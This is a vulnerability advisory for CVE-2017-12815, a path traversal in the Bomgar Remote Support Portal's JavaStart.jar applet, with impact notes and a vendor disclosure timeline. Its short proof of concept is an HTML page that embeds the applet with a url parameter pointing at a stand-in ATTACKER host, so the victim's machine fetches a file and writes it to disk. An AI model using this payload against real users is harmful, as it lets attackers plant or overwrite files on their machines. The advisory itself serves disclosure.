Bomgar Remote Support Portal (RSP) Path Traversal

2018.03.24
Credit: Filip Palian
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Hey, The Path Traversal vulnerability was found in the component of the Bomgar Remote Support Portal (RSP) [1]. The affected component is a JavaStart.jar applet that is hosted at https://TARGET/api/content/JavaStart.jar on the vulnerable RSP deployments. The JavaStart version 52970 and prior were confirmed to be vulnerable. Analysis of the applet revealed that App.class suffers from a Path Traversal vulnerability. The vulnerable class makes a call to a File() constructor and uses the value specified in the "url" parameter as an argument. The "url" parameter is specified in the <PARAM NAME> HTML tag which passes arguments to applets embedded on web sites using an <APPLET> HTML tag, in this case JavaStart.jar applet. Successful exploitation results in the creation/modification/deletion of files with the privilege of the user who runs the Java applet. In order to exploit this vulnerability a victim would have to visit the attacker's controlled website and allow the Java applet to execute. It may be argued that the Path Traversal is not an issue in this case because the victim has to download and run unknown code. While this is usually correct, one needs to consider that anyone can embed the JavaStart.jar applet on their website, while the applet can be hosted on a legitimate/trustworthy location (i.e. for successful exploitation attacker needs to control the <PARAM NAME>, not the contents of the archive or the domain it is hosted at). Additonaly, the applet will be digitally signed by a trustworthy organisation. Last but not least, the purpose of the applet itself makes it easy to convince/trick users. The final impact of the vulnerability heavily depends on additional factors, such as operating system, web browser and its settings, Java settings, user privileges running the applet etc. The vulnerability was successfully executed on Windows 7 running IE 11 with its default configuration. On Mac OS Sierra running Safari 10.1, the Java restrictions prevented traversing outside of the temp/sandbox directory. The PoC exploiting this vulnerability is included below: -- $ cat > page.html << EOF <html><body> <applet code="com.bomgar.javastart.App.class" archive="https://TARGET/api/content/JavaStart.jar"> <PARAM NAME="url" VALUE="http://ATTACKER/FILE_TO_WRITE"> </applet> </body></html> EOF -- Contact vendor for remediation details. Timeline: 11.08.2017: Initial contact email sent to info@bomgar.com with information about the vulnerability. 11.08.2017: Notification sent to vendor that CVE-2017-12815 has been assigned for this vulnerability by MITRE. 16.08.2017: No vendor response. Request sent to the vendor asking to confirm they received previous email communication. 16.08.2017: Bomgar's Product Management team responded to the request and information about the vulnerability was re-sent. 18.08.2017: Vendor confirms receving the information about the vulnerability and informs that the development team is looking into the issue. 26.08.2017: Vendor provides a status update and conclusions from the performed analysis. Vendor plans to remove the capability of the appliance to communicate with JavaStart.jar, to promote its disuse as well as removing it from customer appliances in an upcoming release. 26.08.2017: Asked vendor when the fixed version of their product will be released and if they are interested in coordinating the advisory release. 09.09.2017: Vendor provides a status update and informs the new release is planned to be released in October 2017. 19.11.2017: No vendor response. Request for a status update. 10.02.2018: No vendor response. Notifying vendor about the planned advisory release. 11.02.2018: Vendor requests the draft of the advisory. 20.03.2018: Advisory draft sent to the vendor for review along with information about the planned release on 22.03.2018. 21.03.2018: Vendor requests minor updates to the timeline and . 23.03.2018: The advisory is released. References: [1] https://www.bomgar.com/remote-support/features/support-portals Acknowledgments: - Jonas Outlaw (Bomgar) - Keith Kerr (Telstra) Thanks, Filip Palian


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